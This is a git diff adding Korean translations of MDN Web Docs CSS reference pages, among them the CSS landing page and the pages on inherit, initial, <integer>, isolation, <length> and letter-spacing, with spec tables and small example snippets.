브라우저는 배경 이미지에 대한 어떠한 정보도 보조 기술에 제공하지 않습니다. 스크린 리더 사용자에게 특히 큰 영향을 주는데, 스크린 리더가 배경 이미지의 존재를 표현하지 않으므로 사용자도 이미지에 대해 알 수 없기 때문입니다. 이미지가 문서의 목적을 이해하는 것에 중요한 정보를 포함하는 경우 문서에 구조적으로 포함하는 편이 좋습니다.

+ + + +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Images", "#typedef-image", "<image>")}}{{Spec2("CSS4 Images")}}Adds {{CSSxRef("element()")}}, {{CSSxRef("image()")}}, {{CSSxRef("image-set")}}, {{CSSxRef("conic-gradient")}}, {{CSSxRef("repeating-conic-gradient", "repeating-conic-gradient()")}}, and {{CSSxRef("image-resolution")}}.
{{SpecName("CSS3 Images", "#typedef-image", "<image>")}}{{Spec2("CSS3 Images")}}Initial definition. Before this, there was no explicitly defined <image> data type. Images could only be defined using the url() functional notation.
+ +

브라우저 호환성

+ + + +

{{Compat("css.types.image")}}

+ +

같이 보기

+ +
    +
  • {{CSSxRef("<gradient>")}}
  • +
  • {{CSSxRef("element")}}
  • +
  • {{CSSxRef("imagefunction", "image()")}}
  • +
  • {{CSSxRef("image-set")}}
  • +
  • {{CSSxRef("cross-fade")}}
  • +
diff --git a/files/ko/web/css/index.html b/files/ko/web/css/index.html new file mode 100644 index 0000000000..7c5210e812 --- /dev/null +++ b/files/ko/web/css/index.html @@ -0,0 +1,96 @@ +--- +title: 'CSS: Cascading Style Sheets' +slug: Web/CSS +tags: + - CSS + - Design + - Landing + - Layout + - Reference + - 'l10n:priority' + - 스타일시트 +translation_of: Web/CSS +--- +
{{CSSRef}}
+ +

Cascading Style Sheets(CSS)는 HTML이나 XML(SVG, XHTML 같은 XML 방언(dialect) 포함)로 작성된 문서의 표현을 기술하기 위해 쓰이는 스타일시트 언어입니다. CSS는 요소가 화면, 종이, 음성이나 다른 매체 상에 어떻게 렌더링되어야 하는지 기술합니다.

+ +

CSS는 오픈 웹의 핵심 언어 중 하나이며 W3C 명세에 따라 브라우저끼리 표준을 맞춥니다. 레벨 단위로 개발한 CSS1은 더 이상 사용하지 않고, 다음 레벨인 CSS2.1은 권고안이며, 레벨보다 작은 단위인 모듈로 나뉜 CSS3은 표준화 과정을 밟고 있습니다.

+ +
+
    +
  • CSS 소개 + +

    웹 개발을 처음 하신다면 CSS 기본 문서를 읽어 CSS가 무엇인지와 사용법을 배워보세요.

    +
  • +
  • CSS 자습서 +

    시작하는 완전한 초보자를 돕는 단계별 입문서. 필요한 기초를 모두 제공합니다.

    +
  • +
  • CSS 참고서 +

    숙련된 개발자를 위한 전체 CSS 참고서는 CSS의 모든 속성과 개념을 설명합니다.

    +
  • +
+ +
+
+

자습서

+ +
+
CSS 소개
+
선택자, 속성, 규칙 작성, HTML에 CSS 적용하기, 길이와 색 등 단위 지정하기, 종속과 상속, 박스 모델, 디버깅 등 CSS의 작동 원리와 기본을 배웁니다.
+
텍스트 꾸미기
+
글꼴, 굵기, 기울이기, 줄 간격과 글자 간격, 그림자 등 텍스트 스타일의 기초를 논합니다. 사용자 설정 글꼴 적용, 목록과 링크 꾸미기로 마무리합니다.
+
박스 꾸미기
+
웹 페이지 레이아웃의 기초 중 하나인 박스 스타일을 살펴봅니다. 박스 모델에 대해 복습하고, 마진, 테두리, 패딩, 배경색, 이미지, 그림자, 필터 등 박스 레이아웃을 조절하는 법을 배웁니다.
+
CSS 레이아웃
+
텍스트를 꾸미고 박스를 변형하는 등 CSS 기초를 살펴보았으니, 이제 화면이나 서로에게 상대적인 위치에 올바르게 배치하는 법을 배웁니다. 필요한 전제조건은 다루었으니 각기 다른 디스플레이 설정, 플로팅과 포지션을 사용하는 전통적인 레이아웃법 및 플렉스박스 등 새로운 방법 등 더 깊은 영역을 배웁니다.
+
+
+ +
+

참고서

+ + + +

쿡북

+ +

CSS 레이아웃 쿡북은 여러분의 웹 사이트에서도 구현해야 할 수 있는, 흔히 쓰이는 레이아웃 패턴을 모아놓은 문서입니다. 프로젝트의 시작 코드는 물론이고, 레이아웃 명세를 사용하는 각기 다른 방법과 개발자로서 고를 수 있는 선택지를 제공합니다.

+ +

CSS 개발 도구

+ + +
+
+
+ +

같이 보기

+ + diff --git a/files/ko/web/css/index/index.html b/files/ko/web/css/index/index.html new file mode 100644 index 0000000000..953130cd26 --- /dev/null +++ b/files/ko/web/css/index/index.html @@ -0,0 +1,10 @@ +--- +title: CSS documentation index +slug: Web/CSS/Index +tags: + - CSS + - Index + - MDN Meta +translation_of: Web/CSS/Index +--- +

{{Index("/ko/docs/Web/CSS")}}

diff --git a/files/ko/web/css/inherit/index.html b/files/ko/web/css/inherit/index.html new file mode 100644 index 0000000000..71f7890cc3 --- /dev/null +++ b/files/ko/web/css/inherit/index.html @@ -0,0 +1,77 @@ +--- +title: inherit +slug: Web/CSS/inherit +tags: + - CSS + - CSS Cascade + - Layout + - Reference + - Web +translation_of: Web/CSS/inherit +--- +
{{CSSRef}}
+ +

CSS inherit 키워드를 사용한 속성은 부모 요소로부터 해당 속성의 계산값을 받아 사용합니다. CSS {{cssxref("all")}} 단축 속성을 포함한 모든 속성에 사용할 수 있습니다.

+ +

상속되는 속성(inherited properties)의 경우, 이는 기본 동작(behavior)을 강화하고 오직 다른 규칙을 재정의(override)해야 합니다. 상속되지 않는 속성(non-inherited properties)은, 이는 보통 비교적 거의 의미가 없는 동작을 지정하고 당신은 대신 {{cssxref("initial")}} 혹은 {{cssxref("all")}} 속성에 {{cssxref("unset")}} 사용을 고려할 지도 모릅니다.

+ +

상속(Inheritance)은 심지어 부모 요소가 포함(containing) 블록이 아니더라도, 항상 문서 트리 내 부모 요소로부터입니다.

+ +

예제

+ +
 /* h2를 green으로 만듦 */
+ h2 { color: green; }
+
+ /* 부모 요소의 color를 사용하도록 sidebar 내의 h2를 홀로 남김 */
+ #sidebar h2 { color: inherit; }
+
+ +

이 예제에서 sidebar 내부의 h2 요소는 다른 색일지도 모릅니다. 예를 들어, 그 중 하나는 규칙과 일치하는 div의 자식이라면

+ +
 div#current { color: blue; }
+
+ +

파란색이 됩니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{ SpecName('CSS4 Cascade', '#inherit', 'inherit') }}{{Spec2('CSS4 Cascade')}}Level 3에 변화 없음.
{{ SpecName('CSS3 Values', "#common-keywords", "inherit") }}{{ Spec2('CSS3 Values') }}{{ SpecName('CSS2.1') }}에서 두드러진 변화 없음
{{ SpecName('CSS2.1', "cascade.html#value-def-inherit", "inherit") }}{{ Spec2('CSS2.1') }}초기 정의
+ +

브라우저 호환성

+ +
{{Compat("css.types.global_keywords.inherit")}}
+ +

같이 보기

+ +
    +
  • 상속
  • +
  • {{cssxref("initial")}}을 사용해 속성의 초깃값을 사용하세요.
  • +
  • {{cssxref("unset")}}을 사용해 속성의 상속값 또는 초깃값을 사용하세요.
  • +
  • {{cssxref("revert")}}를 사용해 사용자 에이전트가 지정한 값(또는 사용자가 수정한 값)으로 속성을 되돌리세요.
  • +
  • {{cssxref("all")}} 속성을 사용하면 요소의 모든 속성을 한꺼번에 initial, inherit, revert, unset할 수 있습니다.
  • +
diff --git a/files/ko/web/css/inheritance/index.html b/files/ko/web/css/inheritance/index.html new file mode 100644 index 0000000000..db14ed6cd8 --- /dev/null +++ b/files/ko/web/css/inheritance/index.html @@ -0,0 +1,54 @@ +--- +title: 상속 +slug: Web/CSS/inheritance +tags: + - CSS + - Guide + - Inheritance + - Layout + - Web +translation_of: Web/CSS/inheritance +--- +
{{cssref}}
+ +

MDN 내 각 CSS 속성(property) 정의 페이지의 요약절은 그 속성이 기본(default)으로 상속되는지("Inherited: Yes") 혹은 상속되지 않는지("Inherited: no") 쓰여 있습니다. 이 상속 여부는 요소의 속성에 어떤 값이 지정되지 않을 때 일어나는 일을 제어합니다.

+ +

상속되는 속성

+ +

요소의 상속되는 속성에 값이 지정되지 않은 경우, 요소는 부모 요소의 해당 속성의 계산값을 얻습니다. 오직 문서의 루트 요소만 속성의 요약절에 주어진 초기값을 얻습니다.

+ +

상속되는 속성의 대표적인 예는 {{ Cssxref("color") }} 속성입니다. 주어진 스타일 규칙:

+ +
p { color: green }
+ +

과 마크업:

+ +
<p>This paragraph has <em>emphasized text</em> in it.</p>
+ +

em 요소는  p 요소로부터 {{ Cssxref("color") }} 속성값을 상속했기 때문에, "emphasized text"는 녹색으로 보입니다. 속성의 초기값(페이지가 어떤 색을 지정하지 않았을 때 루트 요소에 사용된 색)을 얻지 습니다.

+ +

상속되지 않는 속성

+ +

요소의 상속되지 않는 속성(Mozilla 코드에서는 가끔 reset 속성으로 불림)에 어떤 값이 지정되지 않는 경우, 요소는 그 속성의 초기값을 얻습니다(속성의 요약절에 지정된 대로).

+ +

상속되지 않는 속성의 대표적인 예는 {{ Cssxref("border") }} 속성입니다. 주어진 스타일 규칙:

+ +
 p { border: medium solid }
+ +

과 마크업:

+ +
  <p>This paragraph has <em>emphasized text</em> in it.</p>
+ +

"emphasized text"는 테두리가 없습니다({{ Cssxref("border-style") }}의 초기값이 none이기 때문에).

+ +

참고

+ +

{{ Cssxref("inherit") }} 키워드는 작성자가 명시적으로 상속을 지정할 수 있게 합니다. 상속되는 속성과 상속되지 않는 속성 모두에 작동합니다.

+ +

같이 보기

+ +
    +
  • CSS 참고서
  • +
  • {{ CSS_key_concepts() }}
  • +
  • {{ Cssxref("inherit") }}
  • +
diff --git a/files/ko/web/css/initial/index.html b/files/ko/web/css/initial/index.html new file mode 100644 index 0000000000..3205718d3d --- /dev/null +++ b/files/ko/web/css/initial/index.html @@ -0,0 +1,78 @@ +--- +title: initial +slug: Web/CSS/initial +tags: + - CSS + - CSS Cascade + - CSS Value + - Layout + - Reference + - Web + - 초기값 + - 초기화 + - 초깃값 +translation_of: Web/CSS/initial +--- +
{{CSSRef}}
+ +

CSS initial 키워드는 속성의 초깃값(기본값)을 요소에 적용합니다. 초깃값은 브라우저가 지정합니다. 모든 속성에서 사용할 수 있으며, {{cssxref("all")}}에 지정할 경우 모든 CSS 속성을 초깃값으로 재설정합니다.

+ +
+

참고: 상속 속성의 초깃값은 예상치 못한 값일 수도 있습니다. 따라서, {{cssxref("inherit")}}, {{cssxref("unset")}}, {{cssxref("revert")}} 키워드의 사용을 대신 고려해보세요.

+
+ +

예제

+ +

HTML

+ +
<p>
+  <span>This text is red.</span>
+  <em>This text is in the initial color (typically black).</em>
+  <span>This is red again.</span>
+</p>
+ +

CSS

+ +
p {
+  color: red;
+}
+
+em {
+  color: initial;
+}
+ +

{{EmbedLiveSample('예제')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{ SpecName('CSS4 Cascade', '#initial', 'initial') }}{{Spec2('CSS4 Cascade')}}Level 3에서 변화 없음.
{{ SpecName('CSS3 Cascade', '#initial', 'initial') }}{{Spec2('CSS3 Cascade')}}초기 정의.
+ +

브라우저 호환성

+ +
{{Compat("css.types.global_keywords.initial")}}
+ +

참조

+ +
    +
  • {{cssxref("inherit")}}, {{cssxref("unset")}}, {{cssxref("revert")}}, {{cssxref("all")}}
  • +
diff --git a/files/ko/web/css/initial_value/index.html b/files/ko/web/css/initial_value/index.html new file mode 100644 index 0000000000..2a764918ed --- /dev/null +++ b/files/ko/web/css/initial_value/index.html @@ -0,0 +1,51 @@ +--- +title: 초깃값 +slug: Web/CSS/initial_value +tags: + - CSS + - Reference +translation_of: Web/CSS/initial_value +--- +
{{cssref}}
+ +

CSS 속성의 초깃값은 속성의 기본값으로, 속성 정의 표가 명시하고 있습니다. 초깃값의 사용처는 상속 여부에 따라 다릅니다.

+ + + +
+

참고: {{cssxref("initial")}} 키워드를 사용해 명시적으로 초깃값을 지정할 수 있습니다.

+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
CSS Cascade 4Formal definition.
{{SpecName("CSS2.1", "cascade.html#specified-value", "initial value")}}{{Spec2("CSS2.1")}}Implicit definition.
+ +

같이 보기

+ + diff --git a/files/ko/web/css/integer/index.html b/files/ko/web/css/integer/index.html new file mode 100644 index 0000000000..a6de2d4b1c --- /dev/null +++ b/files/ko/web/css/integer/index.html @@ -0,0 +1,93 @@ +--- +title: +slug: Web/CSS/integer +tags: + - CSS + - CSS Data Type + - Reference + - Web +translation_of: Web/CSS/integer +--- +
{{CSSRef}}
+ +

<integer> CSS 자료형은 {{cssxref("<number>")}}의 종류 중 하나로 소수점이 없는 완전한 수, 즉 정수를 표현합니다. 정수는 {{cssxref("column-count")}}, {{cssxref("counter-increment")}}, {{cssxref("grid-column")}}, {{cssxref("grid-row")}}, {{cssxref("z-index")}} 등 다양한 속성에서 사용할 수 있습니다.

+ +

구문

+ +

<integer> 자료형은 하나 이상의 0부터 9까지의 10진수 숫자로 구성하며, 선택적으로 +, -로 부호를 표시할 수 있습니다. 따로 연관지어야 하는 단위는 없습니다.

+ +
참고: 공식적으로 정해진 <integer> 값의 범위는 없습니다. Opera 12.1은 최대 215-1, IE는 220-1, 그 외 브라우저는 더 큰 값도 지원합니다. CSS3 Values 논의 중 최소한의 범위를 설정하자는 말이 많아서 가장 최근인 2012년 4월 LC 단계에서는 [-227-1; 227-1]으로 결정했습니다. 224-1과 230-1처럼 다른 값도 제안됐습니다. 하지만 최신 명세는 범위를 지정하고 있지 않습니다.
+ +

보간

+ +

애니메이션에서 <integer> 자료형의 값은 이산적으로 1씩 변화합니다. 계산은 유동소수점 실수를 사용하며 최종 결과인 이산값은 버림 함수를 사용해 얻습니다. 보간의 속도는 애니메이션과 연결된 타이밍 함수가 결정합니다.

+ +

예제

+ +

유효한 정수

+ +
12          양의 정수 (부호 표시 없음)
++123        양의 정수 (+ 부호)
+-456        음의 정수
+0           0
++0          0, 양의 부호
+-0          0, 음의 부호
+
+ +

유효하지 않은 정수

+ +
12.0        정수를 표현하지만 <interger>가 아닌 <number>
+12.         소수점은 불허
++---12      하나의 +/-만 허용
+ten         글자는 불허
+_5          특수문자는 불허
+\35         유니코드 이스케이프 문자는 정수를 표현하더라도 불허 (\35: 5)
+\4E94       아라비아 숫자 외의 다른 표현은 이스케이프 후에도 불허 (\4E94: 일본어 五).
+3e4         과학적 표기법 불허
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Values', '#integers', '<integer>')}}{{Spec2('CSS4 Values')}} 
{{SpecName('CSS3 Values', '#integers', '<integer>')}}{{Spec2('CSS3 Values')}} 
{{SpecName('CSS2.1', 'syndata.html#numbers', '<integer>')}}{{Spec2('CSS2.1')}}Explicit definition.
{{SpecName('CSS1', '', '<integer>')}}{{Spec2('CSS1')}}Implicit definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.types.integer")}}

+ +

같이 보기

+ +
    +
  • {{cssxref("<number>")}}
  • +
diff --git a/files/ko/web/css/isolation/index.html b/files/ko/web/css/isolation/index.html new file mode 100644 index 0000000000..ffeb6140f9 --- /dev/null +++ b/files/ko/web/css/isolation/index.html @@ -0,0 +1,114 @@ +--- +title: isolation +slug: Web/CSS/isolation +tags: + - CSS + - CSS Property + - Reference +translation_of: Web/CSS/isolation +--- +
{{CSSRef}}
+ +

isolation CSS 속성은 요소가 새로운 {{glossary("stacking context", "쌓임 맥락")}}을 생성해야 하는지 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/isolation.html")}}
+ + + +

{{cssxref("mix-blend-mode")}}와 함께 사용했을 때 특히 유용합니다.

+ +

구문

+ +
/* 키워드 값 */
+isolation: auto;
+isolation: isolate;
+
+/* 전역 값 */
+isolation: inherit;
+isolation: initial;
+isolation: unset;
+
+ +

isolation 속성은 다음 키워드 값 중 하나를 사용해 지정합니다.

+ +

+ +
+
auto
+
요소에 적용한 속성 중 새로운 쌓임 맥락을 요구하는 속성이 있을 때만 쌓임 맥락을 생성합니다.
+
isolate
+
항상 새로운 쌓임 맥락을 생성합니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
<div id="b" class="a">
+  <div id="d">
+    <div class="a c">auto</div>
+  </div>
+  <div id="e">
+    <div class="a c">isolate</div>
+  </div>
+</div>
+
+ +
.a {
+  background-color: rgb(0,255,0);
+}
+#b {
+  width: 200px;
+  height: 210px;
+}
+.c {
+  width: 100px;
+  height: 100px;
+  border: 1px solid black;
+  padding: 2px;
+  mix-blend-mode: difference;
+}
+#d {
+  isolation: auto;
+}
+#e {
+  isolation: isolate;
+}
+ +

{{ EmbedLiveSample('예제', 230, 230) }}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Compositing', '#isolation', 'Isolation') }}{{ Spec2('Compositing') }}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.isolation")}}

+ +

같이 보기

+ +
    +
  • {{cssxref("<blend-mode>")}}
  • +
  • {{cssxref("mix-blend-mode")}}, {{cssxref("background-blend-mode")}}
  • +
diff --git a/files/ko/web/css/layout_mode/index.html b/files/ko/web/css/layout_mode/index.html new file mode 100644 index 0000000000..607a699b21 --- /dev/null +++ b/files/ko/web/css/layout_mode/index.html @@ -0,0 +1,32 @@ +--- +title: 레이아웃 모드 +slug: Web/CSS/Layout_mode +tags: + - CSS + - Guide + - Layout + - Reference +translation_of: Web/CSS/Layout_mode +--- +
{{cssref}}
+ +

CSS 레이아웃 모드, 줄여서 레이아웃은 형제(sibling) 및 조상(ancestor) 박스와 상호 작용하는 방식을 기반으로 박스의 위치와 크기를 결정하는 알고리즘입니다. 그 중 몇 가지입니다:

+ +
    +
  • 블록 레이아웃(block layout), 문서 배치를 위해 설계됨. 블록 레이아웃은 요소(element)를 float 하거나 여러 단(multiple columns)에 걸쳐 배치하는 기술 같은 문서 중심 기능을 포함합니다.
  • +
  • 인라인 레이아웃(inline layout), 텍스트 배치를 위해 설계됨.
  • +
  • 테이블 레이아웃(table layout), 표 배치를 위해 설계됨.
  • +
  • 위치지정 레이아웃(positioned layout), 다른 요소와 상호 작용이 많이 없는 요소의 위치지정을 위해 설계됨.
  • +
  • 신축 박스 레이아웃(flexible box layout), 부드럽게 크기조정이 될 수 있는 복잡한 페이지 배치를 위해 설계됨. {{experimental_inline}}
  • +
  • 그리드 레이아웃(grid layout), 고정된 격자(grid)에 상대적인 요소 배치를 위해 설계됨. {{experimental_inline}}
  • +
+ +
+

참고: CSS 속성(CSS properties) 모두가 모든 레이아웃 모드에 적용되지는 않습니다. 속성 대부분은 한 두 모드에 적용되고 속성이 다른 레이아웃 모드에 참여하는 요소에 설정되면 효과가 없습니다.

+
+ +

같이 보기

+ +
    +
  • {{CSS_key_concepts}}
  • +
diff --git a/files/ko/web/css/length-percentage/index.html b/files/ko/web/css/length-percentage/index.html new file mode 100644 index 0000000000..7ab06ee4ff --- /dev/null +++ b/files/ko/web/css/length-percentage/index.html @@ -0,0 +1,55 @@ +--- +title: +slug: Web/CSS/length-percentage +tags: + - CSS + - CSS Date Type + - Reference +translation_of: Web/CSS/length-percentage +--- +
{{CSSRef}}
+ +

<length-percentage> CSS 자료형은 {{Cssxref("<length>")}} 또는 {{Cssxref("<percentage>")}}인 값을 나타냅니다.

+ +

구문

+ +

{{Cssxref("<length>")}}와 {{Cssxref("<percentage>")}} 문서에서 각 자료형의 구문을 살펴보세요.

+ +

calc()에서 사용하기

+ +

<length-percentage>를 허용한다면 백분율이 길이로 이행한다는 뜻이므로 {{cssxref("calc", "calc()")}}와 함께 사용할 수 있습니다. 따라서 아래의 {{cssxref("width")}} 값 모두 유효합니다.

+ +
width: 200px
+width: 20%
+width: calc(100% - 200px)
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Values', '#mixed-percentages', '<length-percentage>')}}{{Spec2('CSS4 Values')}} 
{{SpecName('CSS3 Values', '#mixed-percentages', '<length-percentage>')}}{{Spec2('CSS3 Values')}}Defines <length-percentage>. Adds calc()
+ +

브라우저 호환성

+ + + +

{{Compat("css.types.length-percentage")}}

diff --git a/files/ko/web/css/length/index.html b/files/ko/web/css/length/index.html new file mode 100644 index 0000000000..e2e5b3925b --- /dev/null +++ b/files/ko/web/css/length/index.html @@ -0,0 +1,252 @@ +--- +title: +slug: Web/CSS/length +tags: + - CSS + - CSS Data Type + - Layout + - Reference + - Web + - length +translation_of: Web/CSS/length +--- +
{{CSSRef}}
+ +

CSS <length> 자료형은 거리 값을 나타냅니다. {{Cssxref("width")}}, {{Cssxref("height")}}, {{Cssxref("margin")}}, {{Cssxref("padding")}}, {{Cssxref("border-width")}}, {{Cssxref("font-size")}}, {{Cssxref("text-shadow")}} 등 다양한 속성에 사용할 수 있습니다.

+ +
+

참고: {{cssxref("<percentage>")}} 값을 일부 속성의 <length> 값으로 사용할 수는 있지만 <percentage><length> 는 다릅니다. {{cssxref("<length-percentage>")}}를 참고하세요.

+
+ +

구문

+ +

<length> 자료형은 {{cssxref("<number>")}} 다음에 아래 나열한 단위 중 하나를 붙여 구성합니다. 다른 CSS 단위와 마찬가지로 숫자와 단위 문자 사이에 공백은 존재하지 않습니다. 숫자 0 뒤에는 단위를 붙이지 않아도 됩니다.

+ +
+

참고: 일부 속성은 음의 <length>를 받지만 다른 속성은 그렇지 않습니다.

+
+ +

단위

+ +

상대길이 단위

+ +

상대길이는 어떤 다른 거리와의 상대적 비율을 표현합니다. 어떤 다른 거리란 단위에 따라 특정 문자, {{cssxref("line-height")}}, 아니면 {{glossary("viewport", "뷰포트")}}일 수 있습니다.

+ +
글꼴 상대 길이
+ +

글꼴 상대 길이는 <length> 값을 특정 문자나 현재 요소가 사용하는 글꼴의 특정 속성을 기준으로 설정합니다.

+ +
+

참고: 아래 단위들, 특히 emrem은 사용자가 글꼴 크기를 늘려도 페이지의 수직 흐름을 유지하는, 확대 가능한 레이아웃을 만들기 위해 많이 쓰입니다.

+
+ +
+
cap {{experimental_inline}}
+
요소 {{cssxref("font")}}의 "cap height"(영문 대문자의 평균 높이 값)를 나타냅니다.
+
ch
+
요소 {{cssxref("font")}}의 문자 "0"(영, 유니코드 U+0030)의 너비를 나타냅니다.
+
문자 "0"의 너비를 측정하는 것이 불가능하거나 실용적이지 않은 경우 너비 0.5em에 높이 1em이라고 가정해야 합니다.
+
em
+
요소 {{cssxref("font-size")}}의 계산값. 요소의 {{cssxref("font-size")}} 속성에 사용한다면 상속받는 font-size 값을 나타냅니다.
+
ex
+
요소 {{cssxref("font")}}의 {{interwiki("wikipedia", "x높이")}}를 나타냅니다. "x"문자를 가진 글꼴에서는 보통 소문자 높이와 같습니다. 많은 글꼴에서 1ex ≈ 0.5em입니다.
+
ic {{experimental_inline}}
+
"水" (한중일 한자 "물", U+6C34) 문자를 렌더링할 때 사용하는 글꼴에서의 너비를 나타냅니다.
+
lh {{experimental_inline}}
+
요소가 {{cssxref("line-height")}}를 가지고 있는 경우, line-height의 계산값을 절대 길이로 변환해 나타냅니다.
+
rem
+
루트 요소(보통 {{HTMLElement("html")}})의 {{cssxref("font-size")}}를 나타냅니다. 루트 요소의 font-size에 사용할 경우 최초값(보통 브라우저 기본값은 16px이나 사용자 설정으로 변할 수 있음)을 나타냅니다.
+
rlh {{experimental_inline}}
+
루트 요소(보통 {{HTMLElement("html")}})의 {{cssxref("line-height")}}를 절대 길이로 변환해 나타냅니다. 루트 요소의 {{cssxref("font-size")}}나 line-height에 사용할 경우 최초값을 나타냅니다.
+
+ +
뷰포트 백분율 길이
+ +

뷰포트 백분율 길이는 <length> 값을 {{glossary("viewport", "뷰포트")}}, 즉 문서에서 볼 수 있는 부분의 크기를 기준으로 설정합니다. 뷰포트 길이는 {{cssxref("@page")}} 선언 블록에서는 유효하지 않습니다.

+ +
+
vh
+
뷰포트의 초기 컨테이닝 블록 높이 1%와 같습니다.
+
vw
+
뷰포트의 초기 컨테이닝 블록 너비 1%와 같습니다.
+
vi {{experimental_inline}}
+
초기 컨테이닝 블록의 인라인 축 크기 1%와 같습니다.
+
vb {{experimental_inline}}
+
초기 컨테이닝 블록의 블록 축 크기 1%와 같습니다.
+
vmin
+
vwvh 중 작은 것과 같습니다.
+
vmax
+
vwvh 중 큰 것과 같습니다.
+
+ +

절대길이 단위

+ +

절대길이 단위는 프린트 등 출력 수단의 크기를 알 수 있을 때의 물리적 측정 거리를 나타냅니다. 구현은 어떤 단위를 물리적인 실제 거리에 맞춰 기준으로 삼고, 나머지 단위를 상대적으로 계산해 설정합니다. 기준 단위는 화면 등 저해상도 장치와 프린터 등 고해상도 장치에서 다릅니다.

+ +

저해상도 장치에서 px 단위는 물리적인 픽셀을 의미하며 나머지는 이에 상대적입니다. 따라서 1in96px로 정의하며 이는 72pt와 동일합니다. 그러나 인치(in), 센티미터(cm), 밀리미터(mm) 등 이렇게 정의하는 단위가 같은 이름을 가진 물리적인 측정 단위와 일치하지 않을 수 있다는 문제점이 있습니다.

+ +

고해상도 장치에서 인치(in), 센티미터(cm), 밀리미터(mm)가 기준이 되어 물리적 거리와 동일합니다. 그래서 px 단위도 이에 맞춰 1인치의 1/96로 정의합니다.

+ +
+

참고: 많은 사용자가 {{glossary("user agent", "사용자 에이전트")}}의 기본 글꼴 크기를 늘려 읽기 쉽도록 설정합니다. 절대길이는 사용자 설정을 따르지 않기 때문에 접근성 문제를 유발할 수 있습니다. 따라서 font-size를 설정할 땐 em, rem 등 상대길이를 선택하세요.

+
+ +
+
px
+
1 픽셀. 화면에서는 전통적으로 하나의 장치 픽셀(점)을 의미했지만, 프린터나 고해상도 화면에서는 1/96 in을 맞출 수 있도록 여러 개의 장치 픽셀을 의미합니다.
+
cm
+
1 센티미터, 1cm = 96px/2.54.
+
mm
+
1 밀리미터, 1mm = 1/10 cm.
+
Q {{experimental_inline}}
+
1/4 밀리미터, 1Q = 1/40 cm.
+
in
+
1 인치, 1in = 2.54cm = 96px.
+
pc
+
1 피카, 1pc = 12pt = 1/61in.
+
pt
+
One point. 1pt = 1/72nd of 1in.
+
+ +

보간

+ +

애니메이션에서 <length> 자료형의 값은 부동소수점 실수로 간주하며 보간은 계산값을 사용합니다. 보간 속도는 애니메이션에 연결된 타이밍 함수가 결정합니다.

+ +

예제

+ +

길이 단위 비교

+ +

아래 데모에서는 주어진 하나의 입력 칸에 300px, 50%, 30vw<length> 값을 입력한 후 Return을 누르면 그 길이만큼의 막대를 생성합니다.

+ +

서로 다른 길이 단위를 입력하고 비교해보세요.

+ +

HTML

+ +
<div class="outer">
+  <div class="input-container">
+    <label>길이:</label>
+    <input type="text" id="length">
+  </div>
+  <div class="inner">
+
+  </div>
+</div>
+<div class="results">
+</div>
+ +

CSS

+ +
html {
+  font-family: sans-serif;
+  font-weight: bold;
+  box-sizing: border-box;
+}
+
+.outer {
+  width: 100%;
+  height: 50px;
+  background-color: #eee;
+  position: relative;
+}
+
+.inner {
+  height: 50px;
+  background-color: #999;
+  box-shadow: inset 3px 3px 5px rgba(255,255,255,0.5),
+              inset -3px -3px 5px rgba(0,0,0,0.5);
+}
+
+.result {
+  height: 20px;
+  background-color: #999;
+  box-shadow: inset 3px 3px 5px rgba(255,255,255,0.5),
+              inset -3px -3px 5px rgba(0,0,0,0.5);
+  background-color: orange;
+  display: flex;
+  align-items: center;
+  margin-top: 10px;
+}
+
+.result code {
+  position: absolute;
+  margin-left: 20px;
+}
+
+.results {
+  margin-top: 10px;
+}
+
+.input-container {
+  position: absolute;
+  display: flex;
+  justify-content: flex-start;
+  align-items: center;
+  height: 50px;
+}
+
+label {
+  margin: 0 10px 0 20px;
+}
+ +

JavaScript

+ +
const inputDiv = document.querySelector('.inner');
+const inputElem = document.querySelector('input');
+const resultsDiv = document.querySelector('.results');
+
+inputElem.addEventListener('change', () => {
+  inputDiv.style.width = inputElem.value;
+
+  const result = document.createElement('div');
+  result.className = 'result';
+  result.style.width = inputElem.value;
+  result.innerHTML = `<code>너비: ${inputElem.value}</code>`;
+  resultsDiv.appendChild(result);
+
+  inputElem.value = '';
+  inputElem.focus();
+})
+ +

결과

+ +

{{EmbedLiveSample('길이_단위_비교','100%', 700)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Values', '#lengths', '<length>')}}{{Spec2('CSS4 Values')}}Adds the vi, vb, ic, lh, and rlh units.
{{SpecName('CSS3 Values', '#lengths', '<length>')}}{{Spec2('CSS3 Values')}}Adds the ch, rem, vw, vh, vmin, vmax, and Q units.
{{SpecName('CSS2.1', 'syndata.html#length-units', '<length>')}}{{Spec2('CSS2.1')}}Explicit definition of the em, pt, pc, and px units.
{{SpecName('CSS1', '#length-units', '<length>')}}{{Spec2('CSS1')}}Initial definition. Implicit definition of the em, pt, pc, and px units.
+ +

브라우저 호환성

+ + + +

{{Compat("css.types.length")}}

diff --git a/files/ko/web/css/letter-spacing/index.html b/files/ko/web/css/letter-spacing/index.html new file mode 100644 index 0000000000..4f7acc93f5 --- /dev/null +++ b/files/ko/web/css/letter-spacing/index.html @@ -0,0 +1,135 @@ +--- +title: letter-spacing +slug: Web/CSS/letter-spacing +tags: + - CSS + - CSS Property + - CSS Text + - Reference + - 글자 간격 +translation_of: Web/CSS/letter-spacing +--- +
{{CSSRef}}
+ +

letter-spacing CSS 속성은 글자 사이의 간격을 조절합니다.

+ +
{{EmbedInteractiveExample("pages/css/letter-spacing.html")}}
+ + + +

구문

+ +
/* 키워드 값 */
+letter-spacing: normal;
+
+/* <length> 값 */
+letter-spacing: 0.3em;
+letter-spacing: 3px;
+letter-spacing: .3px;
+
+/* 전역 값 */
+letter-spacing: inherit;
+letter-spacing: initial;
